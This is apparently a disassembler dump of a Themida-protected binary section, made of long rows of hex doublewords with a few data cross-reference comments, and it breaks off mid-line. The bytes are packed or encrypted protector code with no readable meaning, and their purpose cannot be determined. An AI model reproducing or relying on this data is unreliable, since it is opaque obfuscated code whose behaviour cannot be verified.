0D8EABC6Bh, 0BB9539Dh, 0B4DA093Ch, 8EB19F6Eh dd 20B659AEh, 3A325657h, 0BD47A9ACh, 0E13A232Ah, 0B132DE02h dd 32372575h, 53D9427Dh dd 4ECE13D4h, 0C4CD5ADBh, 5905A95Fh, 0B13256DAh, 0F4B93CA7h dd 0C3356F16h, 4D77A916h, 0B1362939h, 0CEB15E29h, 0B34656A2h dd 4E8A58BCh, 8CDA954h, 0B13256D0h, 7AD9FD19h, 0B42229F6h dd 0CEB159CEh, 0A047504Dh, 0B575DDEFh, 5A3E09DCh, 0B575DDB6h dd 5A3E095Eh, 0B575DDF9h, 9A3E09FEh, 5AB152E5h, 0A14DD558h dd 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh, 8CDA92Ah, 0B13256EFh dd 36D9FD86h, 0B9F09FDBh, 5DB9035Dh, 0B977DDCEh, 0C33E136Ch dd 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h, 0BDF09F14h, 5DB903BAh dd 0D1CE92DEh, 0B1325646h, 5BB30C57h, 0B4DA3C05h, 6A019FE6h dd 3ACE0B63h, 596DD0CFh, 0B10DD5BFh, 8EB13229h, 32372351h dd 40D94290h, 0B1362928h, 0CEB15EA1h, 0B34656E6h, 0F4CD5E9Eh dd 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh, 0B72229D4h, 3A7347DEh dd 0EEB95292h, 3A2FBDE6h, 0EEB95232h, 3A21BDB6h, 0EEB9521Ah dd 0B56D7DA2h, 3237BDD4h, 0C43146D4h, 681917D4h, 0B0330A63h dd 4ECDA9CDh, 0B137EF45h, 1AC1565Dh, 3A53C145h, 72FBAA12h dd 596107FBh, 0B13256D5h, 88D8D7B0h, 3C37BE1Eh, 596DC820h dd 0B156EE58h, 63DA56AEh, 3A325657h, 5AF36DA0h, 0B57955C1h dd 0A64097D1h, 8A221D76h, 5A30247Bh, 5A26BD5Fh, 94A8DBBCh dd 4E37BEB9h, 3C3ABD78h, 59C31D4Fh, 0EAE1A9EFh, 0E4F10E2Ch dd 0B1DABA31h, 0EB32565Dh, 0DABABC2Fh, 3C5253BFh, 596DC811h dd 0B977DDD0h, 0F4B95163h, 0B575DF79h, 38221331h, 0F4B95A1Ah dd 0A175DFBAh, 0A1F09F36h, 34F436ABh, 0B4D05C9Ch, 0C2283EADh dd 4CDFE62h, 0B4D0401Bh, 0CB53D3D0h, 61CD534Bh, 7BB8DB05h dd 0E037BEF4h, 3C68862Ah, 596D9C68h, 0F1855970h, 0E3EADDB6h dd 0B2686752h, 0C8B0DF6Dh, 0D037B448h, 0E85251C3h, 0 dd 0F9EA815Ah, 5205E86Bh, 1F79828Bh, 6DB905E2h, 0F741C64Eh dd 39055AE1h, 25000030h, 7FFFFFFFh, 1F798289h, 595A05E2h aQrs db 'ÃQRè',0 ; DATA XREF: Themida_:004EED5Co align 10h dd 29EA815Ah, 8B05E86Ch, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h dd 8BC3595Ah, 8DC08BC0h, 0E8623A85h, 66D0FF05h, 858DC18Bh dd 5E86BF2h, 1D898589h, 858D05E2h, 5E86C22h, 10A58589h dd 0B805E2h, 0B000000h, 47840FC0h, 0C6000000h, 0E20A4985h dd 0DF685605h, 0FFA9C530h, 0E216A1B5h, 61858D05h, 0FF05E57Ah dd 8D8D50D0h, 5E21859h, 68046A51h, 1000h, 2A95B5FFh, 0D0FF05E2h dd 2A95BD8Bh, 7F0305E2h, 0F8C7813Ch, 0C7000000h, 202447h dd 9D8D6000h, 5E20695h, 0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h dd 234CF6h, 0AE8h, 76479700h, 10104802h, 0F5A00688h, 0CB81665Fh dd 0C7814E92h, 64B5h, 888C94BBh, 18FBBE5Eh, 0B8660000h dd 178B7BD8h, 8E9h, 0E9459700h, 55079BBFh, 33C28190h, 0F238316h dd 887h, 0CB815700h, 2E8AAA8Fh, 0BDEA8159h, 0B44AE74Fh dd 0CCF2813Ah, 0E91AED9Ch, 0Fh, 880B1AB5h, 0D3EBFABBh dd 3FB00F54h, 5243D28Ah, 0FE8h, 1836D500h, 548A5133h, 5C936E4h dd 0A18564C3h, 0B9ECB966h, 66078F58h, 8396F9B8h, 0B70F02EFh dd 664F4FDAh, 59BDEB81h, 0D850F4Eh, 8A000000h, 28E9FDh dd 0D350000h, 84D6D46Ah, 12E9h, 8A587600h, 660EFB65h, 3029331h dd 9639EEEDh, 0E9D28F6Fh, 0FFFFFF5Eh, 67E84A7Ah, 8D8D6AB2h dd 5E86E33h, 8840Fh, 89600000h, 0E2246DB5h, 14E96105h dd 4D000000h, 7C31D9C5h, 9C010A35h, 999D9D79h, 0F7161FC0h dd 892BC48Bh, 0E20BE98Dh, 6E805h, 0BD350000h, 9C7D32AEh dd 13859589h, 0C75805E2h, 0E2076185h, 5ABC05h, 0C18B6600h dd 1B5585C7h, 5E2h, 0B5030000h, 5E22969h, 3DDB5FFh, 8D8905E2h dd 5E210E9h, 8B665350h, 0FF5858C6h, 0E20B1595h, 0D99D8B05h dd 6605E230h, 6AAEFEBBh, 0B995FF00h, 8B05E20Ah, 6C6EEBC0h dd 0A464B4F5h, 862942Fh, 751E1ED9h, 75BF434Dh, 0BA70D534h dd 1DE6D4FAh, 0B3CFA783h, 0A63F3CCCh, 407E56FFh, 0EEACA2F8h dd 8C46B76Ah, 7F7BB25Eh, 7ECE7D44h, 8389B488h, 0D19C19F3h dd 5270BDCFh, 0A4E713h, 9040A6C6h, 0CE248E0Bh, 0F34D25C7h dd 4C216EA3h, 65217918h, 10653100h, 0F7120477h, 3254D8E7h dd 0D222D73Bh, 38A3E56Bh, 2308EB62h, 92BA2h, 0E9000000h dd 0B0Dh, 0E8705A68h, 0DF0EE905h, 3C68FFFAh, 0E905E871h dd 0FFFADF04h, 0E872C468h, 0DEFAE905h, 0C868FFFAh, 0E905E873h dd 0FFFADEF0h, 0E875A768h, 0DEE6E905h, 2B68FFFAh, 0E905E877h dd 0FFFADEDCh, 0E8782768h, 0DED2E905h, 8FEAFFFAh, 59D52D4Ch dd 1C9D6504h, 0E440BEC1h, 0A506F89Fh, 225D375Ah, 0A7CA1596h dd 0E386DB5Bh, 3A5DA01Fh, 781F64C4h, 10EB0612h, 15A00546h dd 79474437h, 0E7C9A7FAh, 1DDE7385h, 2A5EDB4h, 0EDD55C21h dd 0F313368Bh, 0B678106Bh, 720AE639h, 0CFD2C1DFh, 976BF4ABh dd 3C99EA12h, 5FDA2789h, 0FFCFA98Eh, 0F9FE951Ch, 8CA00B30h dd 68A42FD5h, 983E88Eh, 33h, 52294DDEh, 257AF8C6h, 67FFD9EAh dd 0CFCB32CAh, 0AC0BF5ABh, 20052651h, 0D5519FE9h, 543C0188h dd 0B9B3A39h, 70144DA0h, 0E8FDA9E5h, 0FC4A83h, 119D0000h dd 0F1D02F8Fh, 0C9DAE59Bh, 0E2C7A496h, 0D5288BB7h, 17AAC25Ah dd 0A5ED8F64h, 200EEAC9h, 0E9FD7EC0h, 0ED8FA354h, 0C6AB88A5h dd 43DE7A4Bh, 0A5ED8FB8h, 7EB99E7Dh, 8C93F070h, 0ED946061h dd 8DED4FA5h, 87A4D32Eh, 0C1239FA2h, 0A68BD47Ch, 43E4E50Ah dd 6A38715Fh, 0C8139402h, 0A0304DEBh, 7BABCF5Ah, 439E1DE3h dd 9B5CF7D4h, 9EA00AF7h, 61FEC21Dh, 9AC7D788h, 0E8806535h dd 0B2EA255h, 0CCA487A0h, 5AA502FCh, 2CB0D275h, 0F303B02Bh dd 13F0926Dh, 0F479DA05h, 0AA738B28h, 561BB6CEh, 0CFA5F018h dd 0F97A44ECh, 0BC3F83A6h, 88332A61h, 697C50h, 8B64Fh dd 93EE4B00h, 6BB8328Ch, 207BFAC4h, 0FE43A101h, 0B904675Bh dd 0F541BE96h, 0B6082F72h, 7A44EB38h, 239FA2FDh, 71DD7CC1h dd 43B344D9h, 9A78A005h, 338E11A1h, 0D52D22Ch, 759DC26Ah dd 4DFFACA8h, 9AE5443Eh, 294DF9BEh, 21AEC652h, 7DD549Eh dd 237EFFEDh, 51F2D7F4h, 282A188Bh, 162B0574h, 0ABCF4D66h dd 0D0AFEAC9h, 0A00B1D23h, 9A59EF5Ah, 83E87F92h, 0A15AF70Fh dd 86A00B29h, 5DDDA5h, 78DCB489h, 0AEh, 328F114Fh, 1A5CD826h dd 337E43A0h, 0C4963112h, 14F449D5h, 7AFDC53Ch, 0AC95E827h dd 55A5ED6Ah, 46EC470Ah, 27F16D04h, 0E78AD759h, 0CD44991Bh dd 325E35B9h, 0CF86359Fh, 0A4CBA8ABh, 8BA5DE06h, 0EFD36A76h dd 8AA685A5h, 0D978C324h, 0E03B86E9h, 7C50C807h, 0D48FC029h dd 2D000007h, 14EA8DD0h, 0DC22459Ah, 837F025Dh, 49B9D825h dd 9CF49BE6h, 954D763h, 0C51A9866h, 9CDF5CA2h, 5EA305FDh dd 0AAC7533Bh, 0A00542D1h, 47837456h, 35EC12Fh, 0EDB38770h dd 0E1CFACA5h, 0E05C9C1Fh, 0E17C1483h, 0A5EDB416h, 765B381Bh dd 308DEFD3h, 8F11D811h, 59D82632h, 0CFF32A06h, 0ED71106Dh dd 0F966F289h, 0CE399Fh, 7B13FDEDh, 0CF9AF6E6h, 7E1AF9ABh dd 69B04BE6h, 9675A00Bh, 0FD7F43BAh, 69A556EBh, 0A98AA00Bh dd 0DB5DA5C4h, 0A0740B86h, 7027518Ch, 30B08339h, 0F2724CD3h dd 690F62ADh, 0A18C546h, 12DC893Fh, 0FFCC4B98h, 70CD2F11h dd 328F11D1h, 46C8A8C7h, 64D518C5h, 8ED355E0h, 942941EBh dd 18C546E3h, 0A38D6B48h, 0DBB5FC41h, 0D5579715h, 0BFCDAB88h dd 99345C37h, 1EA75ACFh, 0ACCE5132h, 88253348h, 18C533A4h dd 9BE649B7h, 0F8774F1Ch, 18FBCBA5h, 32F68291h, 0FF8B0D01h dd 0F472B231h, 7E4360AFh, 32BCBFD2h, 82610D01h, 4A09BFB6h dd 0F0DE9042h, 3DCE3h, 7947F400h, 3BCA5F8h, 0E16BA6B6h dd 93F7A56h, 59F78CD0h, 0CEE478C4h, 385033ABh, 4E2A75F6h dd 0A1E84FC2h, 6FF72119h, 0B3E17C14h, 0BE24DE14h, 0EF4DB3DDh dd 354FC692h, 99106DCBh, 165EECC4h, 1ABED37Dh, 0C51EFF62h dd 4644AE6h, 749035C3h, 0E6CB0172h, 0B906644Ah, 0E2836D7Eh dd 0D4479C1Ch, 3438225h, 4C99D623h, 0D5000006h, 9C620558h dd 44BADD22h, 0BF79AE5h, 0F13150ADh, 240C136Eh, 81DC5FEBh dd 5DA200FEh, 1467C43Ah, 0D62B8D75h, 324FDBB3h, 0A0054149h dd 4D3B0CEEh, 0F8C65229h, 354D2B78h, 0CFCCC098h, 0F60B23ABh dd 0A00B9B05h, 2D64492Ah, 325EA305h, 38106BCCh, 883CB5C1h dd 5AF68DD1h, 9ACCAFC2h, 6F51A00Bh, 1EFCC11h, 0B404D469h dd 4E7A5EDh, 1EB3CB65h, 9A29825Dh, 2917E1C2h, 333F7AC7h dd 0BD256CB1h, 3F3855EDh, 0E49A2982h, 23D46907h, 89A2983h dd 70144D2Bh, 5BFE43A5h, 6E3E727h, 2CF887Eh, 0BE000000h dd 2512FE41h, 0C652294Dh, 4EDE5F99h, 801D705Bh, 0A5ECB5F7h dd 9E7A5F3Ch, 24386B86h, 0ED05ABD5h, 446A750h, 49E48CA0h dd 0A00446AEh, 0E5B39073h, 0A40A2605h, 6959F843h, 831FC706h dd 30D90D62h, 34C2453h, 8B74B135h, 6B06D219h, 0A004128Bh dd 4CDF2484h, 767328B7h, 481748A1h, 0D9000005h, 807E015Ch dd 48B6D926h, 0FF396E9h, 0F5CD6CB1h, 20082F72h, 85D85BEFh dd 419E1CE2h, 1863C03Eh, 0DA278979h, 2E43DFB7h, 0A005404Dh dd 4D07F0D2h, 0AEC65229h, 1483E040h, 0DBC45937h, 90ABD621h dd 0FA7A44B3h, 0A52706D9h, 6146737Bh, 2380E0DEh, 156ACAF4h dd 457D49Ah, 0F497C48Dh, 0F69A9B1Ah dd 2453B00Ch, 0BB6D134Eh, 0AB6A1E6Bh, 3B55F449h, 0E32E73F5h dd 4448F6C2h, 0D183E2B4h, 0C54C91EFh, 0E64C08E0h, 93000001h dd 63C12F47h, 0B384771Eh, 0D7A9A5EDh, 0BA8B065Bh, 0B335FBD5h dd 9D1F236Eh, 599D2140h, 0A5FB1622h, 88ABCFD2h, 8B7BC826h dd 8A5BD62Bh, 81E0DEAEh, 71D2F33Eh, 513035F1h, 0C04F2C46h dd 95EA46A8h, 0D26F491Ah, 0A00B1F25h, 8E5BE158h, 2020DB76h dd 2605A00Bh, 7CE8244Ah, 5E8983E8h, 5E000000h, 0E9922F47h dd 4EA5EDB3h, 2D9CF46Dh, 9D1EC2DDh, 364D91B3h, 1FF5871Ah dd 5B38ABCFh, 0FD7A44DCh, 3A5677A2h, 0AEFD4A7h, 9E7A59A0h dd 0AEFF483h, 31FF8BA0h, 0A9F670B0h, 9E334DC4h, 0A00AEFDDh dd 0A29C6142h, 92B3FE41h, 6CF98FC6h, 53DE2182h, 9498A672h dd 3D83E851h, 0E0h, 328F1182h, 445B926h, 683CD564h, 0C6290980h dd 0B2323C7Bh, 54A226Dh, 68DF1BD8h, 6F10C65h, 2BA5ED3Dh dd 0A38D6B48h, 3C81E141h, 65F3D0F5h, 3CC7B0CDh, 8F6CA5EDh dd 546D80A1h, 2DA5ED41h, 341C61C3h, 0F295EA4Ah, 0CCAFC25Ah dd 51A5ED37h, 6084A672h, 0F471AD57h, 0AF8CC7B1h, 45EE6C81h dd 2E0DABD2h, 0A457EA02h, 89A008E4h, 1EB6CEAAh, 66A747B1h dd 3E1A2A1Fh, 32B1EF70h, 0BE83A0EFh, 318F719Bh, 219DA5ECh dd 2F11FFDCh, 6B1A71CCh, 41766E17h, 3697728h, 3BB60000h dd 56141E0h, 0C82999B8h, 90ECD275h, 51D22C33h, 8E016B0Eh dd 0C366B93Ah, 1F227FFFh, 56F944A3h, 94BB0868h, 6C0FA2BEh dd 0B1A0053Eh, 8E1118D3h, 52D22C33h, 0AAC26A0Dh, 0EDB36417h dd 18EAC9A5h, 8B6C4497h, 46CD1847h, 6FB28ED4h, 0ABCBACC1h dd 7350A5EDh, 459DBA5h, 0FE43A58Dh, 0D8B33B5Bh, 0BF4B1DB0h dd 0F0CEABCFh, 0C3E02F74h, 5A3F82E3h, 97B540DFh, 69C0A00Bh dd 0A3D81CD3h, 74C92B95h, 2840283Dh, 0EDABD395h, 325536A5h dd 922F47C5h, 0A5EDB3E9h, 0BD836D4Eh, 0D1ABE63Bh, 4E23378Eh dd 0E5B3BCB6h, 2544991Bh, 0A265D81h, 0CFCDA9F7h, 0A8E7C4ABh dd 54EB8FD0h, 7B7C5E36h, 0F1F3809Dh, 0BF3EA00Ah, 72BD0061h dd 3D058C51h, 0A8357CC1h, 0B9F52BD1h, 75B93CC0h, 1E83E84Fh dd 29h, 52294DA1h, 0CBD1ABC6h, 7754ABCFh, 7E4276D9h, 63E4DC63h dd 72011C95h, 15A00B88h, 0E12DA85Ch, 8283E8E9h, 0CCh, 328F1155h dd 2578FBC7h, 444D92EAh, 639C436Bh, 49AB9563h, 1DE3BDF4h dd 0FBC8479Ah, 8CD1531Dh, 0CD7F46EDh, 0CE2EA5ECh, 7846EE71h dd 5D5DDAF9h, 0F041FD4Ch, 0F97B4513h, 0A8E73AB9h, 2B7BB69Bh dd 0DA0C8C3h, 0ABCF493Bh, 789ABD9Eh, 5CF19FF4h, 0A5EFC0F8h dd 866800E3h, 1DB7DA25h, 53E512B2h, 0B9324D6Fh, 68BAF81Fh dd 14DAB69Bh, 3CDD4893h, 0C7C515Bh, 1E5B4EDh, 0BF3A0000h dd 89E5DD7Ch, 4CAD1534h, 14906EF1h, 0D556A8CFh, 128DE78Ah dd 57FA45A6h, 93B60B6Bh, 0EA8DD02Fh, 284F9414h, 0E09B3642h dd 45A0053Ch, 79479467h, 0E2CCA4F9h, 0AC123E81h, 328F114Fh dd 18BBF46Dh, 8D79B0FEh, 0BC3C82A3h, 46A8C067h, 0FABD9BE8h dd 0C652294Dh, 0CFCBD1ABh, 387754ABh, 95219E60h, 0B9B7F78h dd 0E2C7A4A0h, 9B7C7B16h, 7703A00Bh, 34D6EDE8h, 5F8A69E7h dd 83DFAEA3h, 221BF5DAh, 3AD7D79Eh, 0CA7883E8h, 4F000000h dd 0E9922F47h, 4EA5EDB3h, 3BBD836Dh, 2487ABE6h, 0F371BFD9h dd 0A2ED30B3h, 5DD4BC81h, 3C81FDC3h, 0B8083954h, 45A7A5EDh dd 903F59F8h, 19232B5Eh, 624C2446h, 1072BD02h, 499B7CCh dd 0ABCF4544h, 228CA487h, 13307FC4h, 5E862445h, 3F60B25h dd 64A5EFBAh, 0EBC51A9Ah, 0AE10381Bh, 936FF24Dh, 0C35ECD10h dd 917C50E1h, 0E92718h, 0BB360000h, 85E1C160h, 48A91938h dd 106C52F5h, 0D152ACB3h, 0E81EB8Eh, 43E639BAh, 9FA2FF7Fh dd 0D679C423h, 143B88E8h, 0EC8F223Eh, 31A0053Bh, 18479853h dd 0BFDD01D4h, 47A89A54h, 0D1521CF4h, 0EFCC1193h, 0E3942941h dd 48A5ED09h, 2FC8D6Bh, 0AC335DA2h, 0FF79B028h, 0E78652C9h dd 328F1112h, 2479FBC7h, 67DE105h, 22C8D76Ah, 0C6A5ABD6h dd 0B805674Bh, 67C72999h, 59D0B508h, 0C920F1CAh, 8E320DACh dd 0B9D82587h, 1F9AE749h, 24F4D553h, 6F984594h, 66E29528h dd 64479341h, 4B77A287h, 0DB2689E9h, 6FAA8F5Ch, 66FFF815h dd 47249341h, 41A1017Fh, 0CF901FFCh, 0C7D6ABCBh, 9FD692DAh dd 0AE1B37E9h, 38991B1Ah, 0E8BC7AF5h, 5BD80Fh, 0F2D7B489h dd 0CC11936Fh, 0D0C45h, 64FC0000h, 40DC2EC9h, 3810F393h dd 112E197Fh, 0E0CE4994h, 0CAF42380h, 0DBE7126Dh, 0A78B065Bh dd 0B0BEF944h, 9DA5EC2Fh, 6B57C21Fh, 7678B70Ah, 5C68A7FCh dd 8904EC83h, 0E789243Ch, 4C781h, 0EF830000h, 243C8704h dd 5C83685Ch, 14890000h, 0E7895724h, 4C781h, 0EF810000h dd 4, 5C243C87h, 50241C89h, 0E5AEF68h, 24048B3Ch, 504C483h dd 0C9DA140Ch, 8358C289h, 248904ECh, 24048124h, 4, 3903685Bh dd 14890000h, 8438F24h, 56241C8Bh, 0C681E689h, 4, 8704C683h dd 0FF5C2434h, 815A2434h, 4C4h, 0D416E900h, 67C2FFFAh dd 0CDB2B0CCh, 0E2E3207Bh, 7935B89Ch, 0C50305E8h, 617E0FFh dd 8D936999h, 0BAA802D2h, 8FBE1141h, 0AA19393Ah, 95716465h dd 6884357Ah, 8D8D4E56h, 5E87A91h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 42C35646h, 51F4B7A8h, 89F1E345h dd 0E20BE98Dh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0C6810716h, 20AD9B32h dd 76185C7h, 642805E2h, 0BF660000h, 85C74FC7h, 5E21B55h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 93C35040h dd 8BFBD09Fh, 0CA68A098h, 10E5B5FFh, 0BF6605E2h, 95FF659Dh dd 5E20B15h, 36E88166h, 0FF006A8Fh, 0E20AB995h, 0EBC08B05h dd 0C04D207Fh, 496F0043h, 0DD7A4203h, 0EBECFC79h, 2170223Dh dd 0E95150BEh, 1C26E8C3h, 0DE0BC045h, 29B74385h, 0DDE124F7h dd 1CB7B6Eh, 0C031F553h, 93AB4947h, 776FCEFCh, 0C82B6ECDh dd 1F105DF2h, 81D7F066h, 4C0ACEF1h, 1CB2793Bh, 0F41BF411h dd 0CEC5B0D5h, 55C96696h, 9E657F62h, 4A3F7000h, 0BEE8F3Bh dd 0DE35381Ch, 0BBA5CB8Fh, 0B3539721h, 0B201C870h, 9FE5374h dd 1414D3ABh, 5D23C6A7h, 8EBh, 58F50000h, 81E90563h, 68000004h dd 5E87C23h, 0FA04E6E9h, 7C8568FFh, 0DCE905E8h, 68FFFA04h dd 5E87DDEh, 0FA04D2E9h, 0EEAA2CFFh, 515581E0h, 0B804F4B5h dd 0E2A82F12h, 4A5885E4h, 4F50374Ch, 0A79A008Eh, 1606E34h dd 76CBD7DBh, 0D79F3B81h, 0C24809AEh, 9499F9F0h, 7239AE56h dd 4B3235B4h, 44B9B801h, 4C88CB7Eh, 2FB83D48h, 9E1CDD04h dd 498EF170h, 0D10E9449h, 0CFB8014Ah, 29776442h, 0BAEC4DFCh dd 0D501FA37h, 0D220F9Eh, 1EF9FBB7h, 68A5ECD8h, 0C73FE721h dd 2E0h, 0CF770FFBh, 5EFB6E42h, 1FAC3D8h, 82050473h, 0B3B5A603h dd 176CF9FAh, 0FAB30536h, 4667DCF9h, 15893D1Ah, 0EE7BFC9Ch dd 3EBA290Fh, 0D99D972h, 85B61316h, 5CFF5F5Fh, 60EDC6E7h dd 127CDD4Ch, 7D02BD39h, 50AE706h, 0F1993E21h, 1008D0FFh dd 7465245Bh, 0ABA63336h, 0BC37B853h, 327713B4h, 7FBAC7C5h dd 0EAFB38D9h, 2E2B49Fh, 8B4D0000h, 36BE830Fh, 0E5155472h dd 894C3DD9h, 39A28703h, 31D06F6Bh, 0A5216F6Ch, 38F15C4h dd 0EAF0BC3Eh, 0BE246297h, 69EA4FB6h, 0B8F9F0C5h, 7B1831F5h dd 0D577D057h, 8020134h, 0F7C139h, 0BDEA63BAh, 0B1B0ED6Eh dd 1B870DCEh, 9CEFB526h, 0F0C2B9B3h, 4C4A8FF9h, 5C84F427h dd 23026704h, 280h, 2DA9EDEBh, 0F61C985Ch, 5F7B47B3h, 21ADEBEAh dd 89159B40h, 0D10A9372h, 7762C7C3h, 1EDCAD29h, 0C4357492h dd 0ED14D8C6h, 0F0C50B4Ch, 935BDAF9h, 0D0577B18h, 9A128D47h dd 0F95AA205h, 2F586ED4h, 9B5F82FFh, 0EE4BB617h, 201867Eh dd 0E643DA91h, 0F9F19449h, 0E1281C5Ah, 3FED3C2Ch, 1AF83h dd 696EA700h, 1659D823h, 6622D2E4h, 28D19029h, 82C56462h dd 36278056h, 0EFFC18B9h, 0A9825B90h, 388180A4h, 1FAD852h dd 0DE4BFEB5h, 3ED23C85h, 7BC011FCh, 378CE4Fh, 6331A81Fh dd 630AD318h, 0FA576906h, 8FC7AF9h, 0FEBC3B7Ah, 0FD8459EDh dd 302B3FE6h, 1F000000h, 0D0577B18h, 0CD615E47h, 0F9C2A825h dd 9A2111B6h, 67F001FAh, 241DD74Eh, 57B6E322h, 0FAB8750Ah dd 14E066F9h, 0E614409Dh, 0D1EF3Fh, 6ED30000h, 0AB3C2369h dd 80184463h, 83AA33E8h, 12159B40h, 73F43885h, 714AC781h dd 226E6BEAh, 0F891F4B8h, 92961795h, 0FF34618Bh, 0F6B425ACh dd 0D6A47FE8h, 0E512FC18h, 13303BA7h, 2089083Fh, 0FC18D42Fh dd 0F13089E6h, 0FD044468h, 78C14001h, 0F9FDA4F7h, 0A4A39435h dd 572F9FDh, 0D992219h, 8B703336h, 33A89905h, 0E54D006Dh dd 3550045Fh, 1276Ah, 4246B000h, 0B5F1E544h, 1CA05829h dd 4644B3F6h, 0AEF4E958h, 0D3EC8B20h, 0B7E642Ah, 65C4C2D0h dd 0DAAF2B77h, 73739F1Dh, 0C4A49532h, 307DF9F0h, 276D6ECAh dd 31756120h, 7214BDEAh, 4E50A50Fh, 6127AE11h, 1208D11Ah dd 0F2E6AA2Fh, 117430A4h, 0DF1C6FA4h, 6A4E0FA8h, 0A887FC18h dd 6E695773h, 99D82369h, 0DBC5A60h, 0FF0E8A4Ah, 8F946D7Eh dd 0AC03A4DBh, 0DA01FB05h, 0C8535F9Bh, 97EC3A83h, 6CF81190h dd 0F1693BCAh, 0BBCE8F28h, 2807F9FAh, 4C488CF3h, 0B907F47Bh dd 0BBB5CA1Dh, 5287F9FAh, 2FB4E54h, 7D0669BCh, 87000000h dd 528214C4h, 49863756h, 5A20B932h, 0D0577B18h, 134D177h dd 0EC3F7402h, 0B83C7465h, 41E6A9FCh, 0F9F0C210h, 0C03D6AC1h dd 0F4E4A7DAh, 0A7501FA8h, 0AFBD9AE1h, 5EF94B9Bh, 8D1A281Ch dd 797C1E91h, 58A51A33h, 0DD1A4566h, 0AF3FA8DFh, 0D1A5EC16h dd 9CEDB902h, 14A4575Bh, 1863D8E4h, 0DC0766D3h, 5E649919h dd 73A8EEEBh, 0B084CE28h, 8B179542h, 207B41B6h, 341h, 9DA76500h dd 0D92C686Eh, 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh dd 1F6E34A9h, 9B21D4h, 769519C1h, 788307CFh, 0E08950F2h dd 405h, 4E88300h, 8B240487h, 0D3682424h, 89000017h, 2F68242Ch dd 8900002Dh, 0B8502414h, 5E87B42h, 48BC589h, 4C48124h dd 83000000h, 248904ECh, 24048124h, 4, 3481555Ah, 9A564624h dd 8428F34h, 5646B951h, 4A31349Ah, 34FF5908h, 0C4815A24h dd 4, 53242C8Bh, 0C381E389h, 4, 8704C383h, 0E95C241Ch dd 0FFFA0073h, 0A68F8305h, 0E87F2AB8h, 0FFC50305h, 31FADDE0h dd 0B189396Ah, 8D9FDB6Fh, 0DBBB5164h, 0B24EC247h, 0FFC1FE2Eh dd 7799EA0Eh, 2201B642h, 704DD61Ah, 0A97D8600h, 6E8F846Ch dd 93E8AD45h, 0E5E1C10Dh, 0B28D8D33h, 8B05E880h, 0E98D89F9h dd 0F05E20Bh, 85C7C6BFh, 5E20761h, 6CECh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 5BC35646h, 0FDF6EABEh dd 0E8D60FCAh, 6, 19CF8D21h, 0B70F3E70h, 85C75EDEh, 5E21B55h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 6BC35040h dd 8B47E12Eh, 0E225D585h, 0C8D08005h, 1CD1B5FFh, 6A05E2h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 493664C3h, 2038934h, 68A0F60h, 8B000000h, 0E215419Dh dd 819D0105h, 6105E218h, 0B1595FFh, 880F05E2h, 2, 6A04B6h dd 0AB995FFh db 0E2h byte_555D69 db 5, 8Bh, 0C0h ; DATA XREF: Themida_:004F0074o dd 91924CEBh, 0B69B70DCh, 0B3F6B8A5h, 8E6F2FC5h, 851BD380h dd 0E4836CBEh, 0FF5EC337h, 770F51DEh, 7AE2C96Dh, 2BAE147Dh dd 43015B88h, 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah, 0C9A2AF6Bh dd 11D1A6C9h, 0AB51A57h, 0E9CEAE81h, 2B047E32h, 13E8BABEh dd 0D1000000h, 0FCFA1219h, 14C5D667h, 96C448B6h, 0B21931CCh dd 0BD89FFFCh, 5E20D4Dh, 0DDC18159h, 8B000072h, 0E20AB595h dd 8349BB05h, 0F3815B88h, 5B889FD8h, 0B819D29h, 31FF05E2h dd 0DE958h, 727E0000h, 5FE38BB4h, 0C1BC55CBh, 81394290h dd 0FF526CE8h, 85896009h, 5E22FC1h, 0D8F78166h, 0E8816136h dd 5461F70Ah, 81E2CE80h, 0E3C5D2E8h, 1DB52316h, 5005E22Ch dd 21EDBD2Bh, 18F05E2h, 23BDBD89h, 0E98305E2h, 1EB8304h dd 0FFA8850Fh, 9E9FFFFh, 12000000h, 7E9124A7h, 44A6C2E9h dd 0FE8h, 1F16B700h, 22A18A2Ch, 87B46EACh, 0C88D9052h dd 9E95Ah, 0E1940000h, 4EF7836Dh, 81D50A81h, 6266C2h, 51858B00h dd 0BB05E20Ch, 3461DA52h, 3E1BC381h, 0B589CB9Eh, 5E20AFDh dd 860F32FFh, 3, 5ECF8B66h, 81C0D080h, 8F71B1EEh, 75858B56h dd 8105E207h, 315B9F6h, 0FEB70F0Eh, 0F430EE81h, 0F18121E5h dd 4971DDB5h, 0D8813289h, 13329A51h, 2301EA83h, 0E20CE1BDh dd 4A4A4A05h, 83C68B66h, 850F01EBh, 0Eh, 25E9F8h, 33160000h dd 6617E597h, 8D292678h, 5E22C89h, 0FFFF97E9h, 0BAC3F3FFh dd 0FE1CD14Bh, 1B8BEC9Ch, 536650DDh, 0E82D8FD0h, 14h, 0F947B0E7h dd 0C2565B97h, 0C79C471Dh, 0EC815893h, 1E1A263Eh, 4799D89h dd 0F5A05E2h, 0C281F0BFh, 66ADh, 0B8FA8Bh, 89000000h, 0E21CE1BDh dd 1034FF05h, 5E9h, 33736B00h, 6659CA42h, 0E981F28Bh, 4E614A7Dh dd 1484F181h, 8B664E00h, 12F181F8h, 89126057h, 0E201799Dh dd 20C8905h, 0E883DA8Bh, 81FE8B04h, 0FF9A08F8h, 1F850FFFh dd 1000000h, 0E2089DBDh, 3BE905h, 433F0000h, 6309A631h dd 0AB9EBE27h, 38C212Eh, 0AF196417h, 13E91720h, 55000000h dd 915EDD91h, 1B01C310h, 59041403h, 68393860h, 82E98A7Dh dd 0A5FFFFFFh, 0ACFCB935h, 0F4A34180h, 0F8D8DDDh, 6A05E884h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 9D29C353h, 6BDD0CCDh, 0BA66AB3Eh, 8D89B49Eh dd 5E20BE9h, 6185C7F5h, 0E805E207h, 6A00006Fh, 